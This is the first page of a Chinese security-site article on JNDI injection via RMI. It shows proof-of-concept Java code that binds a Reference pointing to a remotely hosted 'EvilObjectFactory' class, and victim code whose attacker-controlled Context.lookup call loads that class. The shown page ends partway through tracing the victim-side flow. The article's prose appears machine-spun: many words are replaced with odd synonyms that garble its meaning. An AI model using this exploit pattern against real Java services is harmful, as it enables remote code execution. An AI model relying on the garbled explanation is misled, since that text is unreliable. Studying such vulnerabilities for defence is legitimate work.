欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

细说JNDI注入

来源:本站整理 作者:佚名 时间:2017-10-18 TAG: 我要投稿

一篇炒冷饭的文章,全当笔记在写了,这个漏洞破绽bug涉及到 JNDI 与 RMI。 这里我重要只写一些其他的 “JNDI 注入” 阐发文章没写过的器械,假如你看的不是很明确的话能够共同其他人写的阐发文章一路看。
必要晓得的配景常识
JNDI 的观点不细写了,只必要晓得咱们经由过程 JNDI 的接口就能够存取 RMI Registry/LDAP/DNS/NIS 等所谓 Naming Service 或 DirectoryService 的内容
JNDI API 中涉及到的罕见的办法与接口的感化,如:Context.lookup
JNDI 中 ServiceProvider 和 ObjectFactory 的感化
Reference 类的感化
RMI 的相干基础常识,能够看我另一篇"大众号,我记的异常全。
JNDI Service Provider
JNDI 与 JNDI Service Provider 的干系类似于 Windows 中 SSPI 与 SSP 的干系。前者是同一形象进去的接口,而后者是对接口的详细完成。以下面提到的默许的 JNDI Service Provider 有 RMI/LDAP 等等。。
ObjectFactory
每个 Service Provider 能够配有多个 Object Factory。Object Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表白的数据,如 Java 中的工具或 Java 中的根本数据范例。 JNDI 的注入的成绩就出在了可长途下载自定义的 ObjectFactory 类上。你假如有兴趣的话能够完备看一下 Service Provider 是若何与多个 ObjectFactory 停止交互的。
PoC
public static void main( String[] args ) throws Exception
{
    // 在本机 1999 端口开启 rmi registry,能够经由过程 JNDI API 来拜访此 rmi registry
    Registry registry = LocateRegistry.createRegistry(1999);
    // 创立一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:
    // jndiinj.EvilObjectFactory
    
    // 第三个参数是 codebase,注解假如客户端在 classpath 外面找不到
    // jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载
    // 固然应用的时刻这里应该是一个真正的 codebase 的地点
    Reference ref = new Reference("whatever",
            "jndiinj.EvilObjectFactory", "http://localhost:9999/");
    // 应用 ReferenceWrapper 将前面的 Reference 工具包装一下
    // 由于只为只要完成 Remote 接口的工具能力绑定到 rmi registry 外面去
    ReferenceWrapper wrapper = new ReferenceWrapper(ref);
    registry.bind("evil", wrapper);
}
EvilObjectFactory
代码以下:
public class EvilObjectFactory implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name,
                                    Context nameCtx,
                                    Hashtable environment)
            throws Exception {
        
        System.out.println("executed");
        return null;
    }
}
Victim
Victim 必要履行 Context.lookup,而且 lookup 的参数必要咱们可控。
public static void main(String[] args) throws Exception {
    Context ctx = new InitialContext();
    // ctx.lookup 参数必要可控
    System.out.println(ctx.lookup("rmi://localhost:1999/evil"));
}
我的疑难
最开端看到 PoC 的时刻,我以为这是 RMI Class Loading 招致的受害者会去指定的 codebase 下载咱们指定的类并去实例化,由于产生了很大的怀疑。
由于 RMI Class Loading 是有条件限定的,比如说默许禁用,和与 JVM 的 codebase 设置装备摆设有很大的干系。
PoC 外面向 rmi registry 绑定 ReferenceWrapper 的时刻,真正绑定进去的应该是它的 Stub 才对,Stub 的工具是怎样形成客户端的代码履行的。
由于懒,这个疑难不停存在了很长期,直到我开端正式去调试跟一下这个漏洞破绽bug看看究竟发生了甚么。起初我看在 marshalsec 那篇 pdf 外面也提到了这个成绩。
Victim 端的触发流程
1.    ctx.lookup 最终会进入 com.sun.jndi.rmi.registry.RegistryContext.lookup。由于传入的 jndi url 因此 rmi:// 开首的。
public Object lookup(Name var1) throws NamingException {
    if (var1.isEmpty()) {
        return new RegistryContext(this);
    } else {
        Remote var2;
        try {
            var2 = this.registry.lookup(var1.get(0));
        } catch (NotBoundException var4) {
            throw new NameNotFoundException(var1.get(0));

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载